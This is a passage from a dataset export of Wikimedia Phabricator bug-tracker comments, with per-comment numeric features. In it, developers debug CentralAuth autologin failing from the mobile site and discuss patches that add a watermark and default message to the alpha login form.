",,,1422647856,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,True,,,-22,True,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3,0.95,"(so my theory/hope is that #2 is just bad configuration on betalabs - domains )
"
404980,CentralAuth AutoLogin not working from mobile site Main Pages,"@csteipp helpfully helped me debug this IRL but sadly we couldn't find what was going on. Appears there are two issues.

1) Images not being loaded after login redirect on mediawiki.org but are on beta labs.
On beta labs/locally if you login
After redirect open up your JS console:
> $( 'img' )
><img src=""//en.wikibooks.beta.wmflabs.org/wiki/Special:CentralAutoLogin/start?type=1x1&amp;from=enwiki"" alt="""" title="""" width=""1"" height=""1"" style=""border: none; position: absolute;"">
and similar images should be in the results.

Do the same on mediawiki.org or enwiki and these images are absent for some reason.
Let's fast forward mediawiki.org to master on Monday and see if this fixes the problem. @kaldari can you do this?
If not, we'll need to debug some more. It might be specific to the m. domain (which will be hard to test locally and can be 
tested on ).

2) On beta labs despite the images being loaded, the user is only logged in on the desktop site. It seems that cookies are being set without a domain parameter, thus are only applying to the desktop domain. We currently have no idea why the domain is being dropped. When you sign in on desktop it is not dropped and passed in the set cookie request header. Any ideas?


",,,1422647216,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,True,,,-22,True,1.0,0.0,0.0,3.3333333333333335,1.3333333333333333,2.3333333333333335,1.6666666666666667,0.0,0.0,1.0,2.0,0.6666666666666666,0.0,1.0,0.3333333333333333,1.3333333333333333,0.0,5.666666666666667,10.666666666666666,0.0,1.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.6666666666666666,1.3333333333333333,0.6666666666666666,0.3333333333333333,6.0,1.0,1.3333333333333333,0.0,1.3333333333333333,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.3333333333333333,14.666666666666666,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,1.6666666666666667,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,4.333333333333333,6.666666666666667,7.333333333333333,2.6666666666666665,2.6666666666666665,7.666666666666667,0.0,0.0,0.0,0.0,5.0,0.0,0.3333333333333333,0.0,4.333333333333333,10.666666666666666,1.6666666666666667,0.6666666666666666,0.0,0.0,4.333333333333333,0.0,1.6666666666666667,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,2.0,3.791979949874687,0.7302346776030987,"SCREEN_NAME helpfully helped me debug this IRL but sadly we couldn't find what was going on. Appears there are two issues.

1) Images not being loaded after login redirect on mediawiki.org but are on beta labs.
On beta labs/locally if you login
After redirect open up your JS console:
QUOTE
QUOTE
and similar images should be in the results.

Do the same on mediawiki.org or enwiki and these images are absent for some reason.
Let's fast forward mediawiki.org to master on Monday and see if this fixes the problem.SCREEN_NAME can you do this?
If not, we'll need to debug some more. It might be specific to the m. domain (which will be hard to test locally and can be 
tested on ).

2) On beta labs despite the images being loaded, the user is only logged in on the desktop site. It seems that cookies are being set without a domain parameter, thus are only applying to the desktop domain. We currently have no idea why the domain is being dropped. When you sign in on desktop it is not dropped and passed in the set cookie request header. Any ideas?


"
404918,CentralAuth AutoLogin not working from mobile site Main Pages,">>! In T87290#1003091, @Jdlrobson wrote:
> I'm not sure what's going on here. I tried alpha which should run all hooks (doesn't override login form) and the problem is broken there too.
> https://login.wikimedia.org/wiki/Special:CentralLogin/start?token=c64737c3d89e2324d55892229caeb7b0
> https://en.m.wikipedia.org/wiki/Special:CentralLogin/complete?token=8884d49b6dfc289a1df92d13188c4072
> are both sending forced 302's
> I'm not seeing any images loaded anywhere...

Right, you get a final 302 from en.m.wikipedia.org's Special:CentralLogin, then you (should) get back to the article where you clicked login from. On that page, there are supposed to be 1x1 images, but something is preventing them from reaching the output html. Either mobile frontend, or a CentralAuthPostLoginRedirect hook.


>>! In T87290#1004525, @Jdlrobson wrote:
> @csteipp can you or someone else help me debug this? We are losing edits as a result. This is pretty problematic for us and I have no idea how this black magic works :-/

Yeah, let me know when you want to go through it.

",,,1422641938,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,True,,,-22,True,0.0,1.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,4.0,9.0,1.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,1.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,4.0,3.0,16.0,2.0,3.0,5.0,0.0,0.0,0.0,0.0,5.0,1.0,2.0,0.0,8.0,9.0,11.0,0.0,0.0,0.0,8.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,3.989247311827957,0.6559139784946236,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Right, you get a final 302 from en.m.wikipedia.org's Special:CentralLogin, then you (should) get back to the article where you clicked login from. On that page, there are supposed to be 1x1 images, but something is preventing them from reaching the output html. Either mobile frontend, or a CentralAuthPostLoginRedirect hook.


QUOTE
QUOTE

Yeah, let me know when you want to go through it.

"
404908,CentralAuth AutoLogin not working from mobile site Main Pages,"@csteipp note this can be replicated on beta labs

Steps to demonstrate:
Ensure logged out / clear cookies.
Login @ http://en.m.wikipedia.beta.wmflabs.org/wiki/Special:UserLogin
Navigate to  http://m.wikidata.beta.wmflabs.org/wiki/Wikidata:Main_Page
Notice you are logged out at Wikidata

@csteipp can you or someone else help me debug this? We are losing edits as a result. This is pretty problematic for us and I have no idea how this black magic works :-/",,,1422640967,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,True,,,-22,True,0.0,1.0,0.0,3.0,0.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,5.0,0.0,4.0,12.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,1.0,5.0,17.0,1.0,3.0,8.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,12.0,7.0,1.0,0.0,1.0,8.0,0.0,1.0,1.0,3.0,1.0,0.0,0.0,0.0,3.8421052631578947,0.8026315789473685,"SCREEN_NAME note this can be replicated on beta labs

Steps to demonstrate:
Ensure logged out / clear cookies.
Login @ URL
Navigate to  URL
Notice you are logged out at Wikidata
SCREEN_NAME can you or someone else help me debug this? We are losing edits as a result. This is pretty problematic for us and I have no idea how this black magic works :-/"
404671,CentralAuth AutoLogin not working from mobile site Main Pages,"I'm not sure what's going on here. I tried alpha which should run all hooks (doesn't override login form) and the problem is broken there too.
https://login.wikimedia.org/wiki/Special:CentralLogin/start?token=c64737c3d89e2324d55892229caeb7b0
https://en.m.wikipedia.org/wiki/Special:CentralLogin/complete?token=8884d49b6dfc289a1df92d13188c4072
are both sending forced 302's
I'm not seeing any images loaded anywhere...
",,,1422581446,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,True,,,-22,True,4.0,0.0,0.0,2.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,13.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,0.0,2.0,4.0,9.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,5.0,2.0,4.0,0.0,0.0,0.0,5.0,0.0,4.0,0.0,0.0,5.0,0.0,0.0,0.0,3.4727272727272727,0.8,"I'm not sure what's going on here. I tried alpha which should run all hooks (doesn't override login form) and the problem is broken there too.
URL
URL
are both sending forced 302's
I'm not seeing any images loaded anywhere...
"
404402,CentralAuth AutoLogin not working from mobile site Main Pages,"During login for global accounts (which redirects to loginwiki, then back to the wiki where the user logged in, then usually to the page they were logging in on), SpecialCentralLogin.php (Line 224) sets ""CentralAuthDoEdgeLogin"" in the user's session when the user first comes back to the wiki where they are logging in. Then when they are redirected to the page where they clicked the login button, the onBeforePageDisplay hook looks for ""CentralAuthDoEdgeLogin"" and if it's present, inserts a bunch of 1x1 images (I thought it was javascript, but I was thinking of something else) to attempt logging in on the sister projects.

The images are generated in CentralAuthHooks::getEdgeLoginHTML().

It seems like either MobileFrontend is stripping out the 1x1 images from getEdgeLoginHTML, or SpecialCentralLogin isn't setting CentralAuthDoEdgeLogin because another extension is hooking CentralAuthPostLoginRedirect and sending the user to another page (GettingStarted used to do that, but I think that's been pulled out for the most part).
",,,1422554344,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,True,,,-22,True,0.0,0.5,0.0,1.5,0.5,2.5,0.5,0.5,0.0,0.5,3.0,0.5,0.0,0.0,0.0,1.5,0.0,7.0,14.5,0.5,1.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,7.5,1.5,1.5,0.0,0.0,0.5,0.5,2.0,0.0,0.0,2.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,13.5,1.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,1.0,2.0,0.0,0.0,7.5,5.0,9.0,3.5,3.0,10.5,0.0,0.0,0.0,0.0,1.5,0.0,2.0,0.0,5.0,14.5,2.5,0.0,2.0,0.0,5.0,0.0,3.0,0.5,0.0,4.0,0.0,0.5,0.0,4.712765957446809,0.6276595744680851,"During login for global accounts (which redirects to loginwiki, then back to the wiki where the user logged in, then usually to the page they were logging in on), SpecialCentralLogin.php (Line 224) sets ""CentralAuthDoEdgeLogin"" in the user's session when the user first comes back to the wiki where they are logging in. Then when they are redirected to the page where they clicked the login button, the onBeforePageDisplay hook looks for ""CentralAuthDoEdgeLogin"" and if it's present, inserts a bunch of 1x1 images (I thought it was javascript, but I was thinking of something else) to attempt logging in on the sister projects.

The images are generated in CentralAuthHooks::getEdgeLoginHTML().

It seems like either MobileFrontend is stripping out the 1x1 images from getEdgeLoginHTML, or SpecialCentralLogin isn't setting CentralAuthDoEdgeLogin because another extension is hooking CentralAuthPostLoginRedirect and sending the user to another page (GettingStarted used to do that, but I think that's been pulled out for the most part).
"
404183,CentralAuth AutoLogin not working from mobile site Main Pages,"What is autologin JavaScript? Can you link me to it? Is it a new thing? Does it use ResourceLoader ?
",,,1422488957,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,True,,,-23,True,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,21.0,4.0,8.0,17.0,0.0,0.0,21.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,3.4166666666666665,0.7916666666666666,"What is autologin JavaScript? Can you link me to it? Is it a new thing? Does it use ResourceLoader ?
"
404162,CentralAuth AutoLogin not working from mobile site Main Pages,"It looks like MobileFrontend might be stripping out the autologin javascript? On login, I'm not getting the javascript that pings all of the other sites to attempt autologin.",,,1422487138,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,True,,,-23,True,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,9.0,3.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,16.0,3.0,3.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,4.59375,0.875,"It looks like MobileFrontend might be stripping out the autologin javascript? On login, I'm not getting the javascript that pings all of the other sites to attempt autologin."
404138,CentralAuth AutoLogin not working from mobile site Main Pages,"No recent changes to the autologin process. That process is heavily reliant on browser's 3rd party cookie acceptance (and when you hit the site anonymously, we again try to log you in, to account for browsers that don't do 3rd-party cookies).

Did you recently upgrade browsers?",,,1422485632,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,True,,,-23,True,0.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,10.0,10.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,2.0,5.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,10.0,5.0,2.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0344827586206895,0.7931034482758621,"No recent changes to the autologin process. That process is heavily reliant on browser's 3rd party cookie acceptance (and when you hit the site anonymously, we again try to log you in, to account for browsers that don't do 3rd-party cookies).

Did you recently upgrade browsers?"
404124,CentralAuth AutoLogin not working from mobile site Main Pages,"I don't see any recent changes in CentralAuth extension
Could also be something configured incorrectly?
",,,1422484506,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,True,,,-23,True,5.0,5.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,16.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,5.0,5.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.7894736842105265,0.9473684210526315,"I don't see any recent changes in CentralAuth extension
Could also be something configured incorrectly?
"
404123,CentralAuth AutoLogin not working from mobile site Main Pages,@CSteipp did something change recently?,,,1422484446,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,True,,,-23,True,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.333333333333333,1.0,SCREEN_NAME did something change recently?
87261,"Watermark and no default message not shown in alpha version of login form
","In alpha on the minerva skin (mobile) the following should be present before the login form:
{F30271}

The grey box should only appear when there are no errors/warnings for submitting the form.
It should be possible to do this via a hook on the existing login form or as a change in core.
",Needs Triage,90.0,1421782694,1437588584.0,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-TASK-vkqukrdqnvt6wbp446s6,task_description,resolved,True,c3,1,True,False,True,-24,True,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,2.0,0.0,2.0,3.0,14.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,21.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,5.0,6.0,2.0,2.0,15.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,14.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,3.0,0.0,5.0,0.0,0.0,0.0,3.6363636363636362,0.7727272727272727,"In alpha on the minerva skin (mobile) the following should be present before the login form:
{F30271}

The grey box should only appear when there are no errors/warnings for submitting the form.
It should be possible to do this via a hook on the existing login form or as a change in core.
"
494058,"Watermark and no default message not shown in alpha version of login form
","Change 223348 merged by jenkins-bot:
Add MobileFrontendLogo to alpha login/create page

[[https://gerrit.wikimedia.org/r/223348]]",,,1437426058,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vkqukrdqnvt6wbp446s6,task_subcomment,,True,c3,3,False,,,2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.043478260869565,0.9130434782608695,"Change 223348 merged by jenkins-bot:
Add MobileFrontendLogo to alpha login/create page

[[GERRIT_URL]]"
493651,"Watermark and no default message not shown in alpha version of login form
","Change 223349 merged by jenkins-bot:
Allow extensions to add a banner to UserLogin and CreateAccount special pages

[[https://gerrit.wikimedia.org/r/223349]]",,,1437339010,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vkqukrdqnvt6wbp446s6,task_subcomment,,True,c3,3,False,,,2,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.2592592592592595,0.8888888888888888,"Change 223349 merged by jenkins-bot:
Allow extensions to add a banner to UserLogin and CreateAccount special pages

[[GERRIT_URL]]"
488310,"Watermark and no default message not shown in alpha version of login form
","Change 219955 merged by jenkins-bot:
Add default sign in message to all login pages (stable/alpha)

[[https://gerrit.wikimedia.org/r/219955]]",,,1436305393,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vkqukrdqnvt6wbp446s6,task_subcomment,,True,c3,3,False,,,0,True,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.4827586206896552,0.9310344827586207,"Change 219955 merged by jenkins-bot:
Add default sign in message to all login pages (stable/alpha)

[[GERRIT_URL]]"
488147,"Watermark and no default message not shown in alpha version of login form
","I'm not sure, what the correct behaviour would be:

In stable the watermark is only added, if there is no warning, no error message and you're currently not logged in:
Without watermark (if you're not logged in):
https://en.m.wikipedia.org/w/index.php?title=Special:UserLogin&returnto=Special%3AWatchlist&warning=mobile-frontend-watchlist-purpose

With watermark (if you're not logged in):
https://en.m.wikipedia.org/wiki/Special:UserLogin?mobileaction=stable

That doesn't make much sense for me, so i implemented it in the above two changes, that the watermark is always visible. But some clarification from #design would be great @KHammerstein :)",,,1436288460,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-vkqukrdqnvt6wbp446s6,task_subcomment,,True,c3,3,True,,,0,True,2.0,0.0,0.0,0.5,3.5,4.5,1.0,0.0,0.0,2.0,3.5,3.5,0.0,0.5,0.5,2.5,0.0,6.5,10.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.5,0.0,5.5,1.0,1.0,1.0,2.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,9.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,3.0,3.5,6.0,3.0,1.5,5.0,0.0,1.0,0.0,1.0,2.5,0.0,1.0,0.0,5.5,10.0,1.0,0.0,0.0,0.0,5.5,0.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,3.7643137254901964,0.8029411764705883,"I'm not sure, what the correct behaviour would be:

In stable the watermark is only added, if there is no warning, no error message and you're currently not logged in:
Without watermark (if you're not logged in):
URL

With watermark (if you're not logged in):
URL

That doesn't make much sense for me, so i implemented it in the above two changes, that the watermark is always visible. But some clarification from #design would be greatSCREEN_NAME :)"
488144,"Watermark and no default message not shown in alpha version of login form
","Change 223349 had a related patch set uploaded (by Florianschmidtwelzow):
Allow extensions to add a banner to UserLogin and CreateAccount special pages

[[https://gerrit.wikimedia.org/r/223349]]
",,,1436288274,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vkqukrdqnvt6wbp446s6,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,19.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,4.625,0.84375,"Change 223349 had a related patch set uploaded (by Florianschmidtwelzow):
Allow extensions to add a banner to UserLogin and CreateAccount special pages

[[GERRIT_URL]]
"
488143,"Watermark and no default message not shown in alpha version of login form
","Change 223348 had a related patch set uploaded (by Florianschmidtwelzow):
Add MobileFrontendLogo to alpha login/create page

[[https://gerrit.wikimedia.org/r/223348]]
",,,1436288267,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vkqukrdqnvt6wbp446s6,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.5,0.8928571428571429,"Change 223348 had a related patch set uploaded (by Florianschmidtwelzow):
Add MobileFrontendLogo to alpha login/create page

[[GERRIT_URL]]
"
481174,"Watermark and no default message not shown in alpha version of login form
",">>! In T87261#1398148, @Jdlrobson wrote:
> @Florian I assume you will just fix the warning message? Should we create a separate bug for the logo? e.g. split this into two?

I think that's not needed, i'll work on the image, too, but i think it could be a bit harder but i hope it's possible with the header template field :)",,,1435185988,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-vkqukrdqnvt6wbp446s6,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,0.0,7.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,12.0,7.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,7.0,2.0,7.0,0.0,5.0,10.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,3.268292682926829,0.7560975609756098,"QUOTE
QUOTE

I think that's not needed, i'll work on the image, too, but i think it could be a bit harder but i hope it's possible with the header template field :)"
481157,"Watermark and no default message not shown in alpha version of login form
